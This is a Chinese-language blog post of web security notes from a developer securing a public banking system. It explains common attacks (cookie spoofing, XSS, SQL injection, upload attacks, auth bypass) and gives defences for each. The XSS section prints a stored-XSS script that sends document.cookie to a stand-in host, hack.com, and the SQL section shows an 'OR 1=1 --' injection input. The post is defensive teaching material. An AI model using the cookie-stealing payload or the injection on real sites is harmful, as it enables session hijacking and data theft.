Web安全笔记

背景


    多年的开发、大使参与的系统一般都是内网的,没有考虑过太多的web安全问题,前端时间参加一个银行系统的部署,要暴露在公网上,这时候就有考虑web安全的问题了。根据客户的需要个自己翻阅资料,总算搞定了这次任务,在这里总结一下。

Web系统结构


image

Web攻击方式

1、浏览器攻击


   假冒Cookie


    一般情况下,服务器将用户ID,SessionID等信息存放在Cookie中,每次请求服务器时,cookie的信息通过http头带回服务器端,如果有程序取得了他人的登陆系统后的SessionID,通过修改自己的cookie信息,可以获取和他人相同的权限操作系统。

   攻击方式

  • 注入的Javascript
  • 使用浏览器调试工具
  • 客户端病毒等

     对应办法

  • 尽量将Cookie设置为HttpOnly,HttpOnly的cookie客户端javascript不能访问。

 

  隐藏变量修改


        画面上javascript的运算结果存放到某个隐藏变量中,提交服务器后,服务器没有验证结果的正确性,可能会绕过某些逻辑。

   攻击方式

  • 注入javascript
  • 使用浏览器调试工具

  对应办法   

  • 防止javascript注入
  • 关键功能不能只依靠客户端控制,服务器端也要控制。

 

跨站脚本攻击(XSS)


        恶意的提交 Javascript 代码和Html代码,这些代码在再次呈现到画面时,如果没有进行过htmlEncode,会成为画面的一部分并成功执行.

    比如搜索结果页,当用户搜索test的时候,页面会显示“搜索关键词:test”,这个时候,这里的test就很有可能会出现xss漏洞,如果该页面是直接将用户输入的东西“返回”到页面上,那么存在的xss漏洞就可以这样利用:

      输入:<script>alert(1);</scrip>,那么页面就会跳出alert(1);这种XSS叫做反射性XSS。

    另外一种场景,每个网站都有反馈框。允许用户反馈数据给后台。而这个后台一般都是管理员进行审核,会在管理后台展示。如果一个<script>var x=new Image(); x.src=”http://hack.com?cookie=”+document.cookie;</script>的反馈数据由用户输入然后这个数据“直接”返回到管理后台上,那么这个时候,管理后台管理员的cookie就被作为参数传递到http://hack.com 了。后面黑客就可以使用cookie来做登录管理后台了。这种XSS由于攻击代码存储进数据库了,所以叫做存储型XSS。

    对应办法

  • 使用服务器端验证,过滤恶意输入。
  • 数据输出前,确保用户提交的数据已被正确进行Encode编码。

 


 

2、服务器攻击


SQL注入


    SQL注入是最常见的攻击方式,通过提交SQL语句片段,服务器端在拼接SQL时,错误的执行了SQL语句,造成信息泄露。

    比如服务器端拼接SQL文 String  s = “select * from USER where user = ‘”+ param + “’”;

    正常情况拼接后的SQL为 select * from USER where user = ‘testUser’,用户在客户端输入 “CCC  OR 1 = 1 –-”,SQL就变为select * from USER where user = ‘CCC OR 1 = 1 --‘,这样数据被取得,接下来的逻辑继续被执行。

    攻击方式

  • 提交SQL片段。

    对应方法

  • 使用Prepare预编译的方式执行SQL。
  • 最小化数据库用户权限。

 

敏感信息泄露


        未处理的异常直接显示到浏览器,造成敏感信息泄露。

     对应办法

  • 定义合理的异常处理方式
  • 使用框架的Error处理功能,未处理的异常发生时,直接跳转到error画面。

 

上传攻击


        用户恶意上传外挂、木马和其他程序等,然后执行这些文件。

    保护措施

  • 对上传文件进行检查、过滤,只运行合法文件。
  • 最小化用户权限,对上传文件存活目录做权限控制,取消脚本的浏览权限和科执行权限。
  • 对非上传目录取消写权限和浏览权限

 

认证逃避


        某些URL页面没有出现在导航页面,当系统只对导航页面的URL进行了认证和授权,没有出现在导航中的URL有可能被用户分析出来,并直接访问。

    攻击方式

  • 直接地址访问

    对应办法

  • 对所有URL和页面进行认证和授权管理。
  • 禁用URL输入方式跳转页面。

 

非法输入


     程序只在客户端对输入进行了验证,服务器未做任何验证,恶意的程序可以绕过客户端逻辑直接向服务器提交非法输入,这很容易导致各种安全问题。

   攻击方式

  • 注入javascript代码
  • 使用浏览器调试工具或者其他工具

   对应办法

  • 在服务器端对客户端传入的数据进行验证。
posted @ 2013-12-10 20:56  绿豆娃  阅读(173)  评论(0)    收藏  举报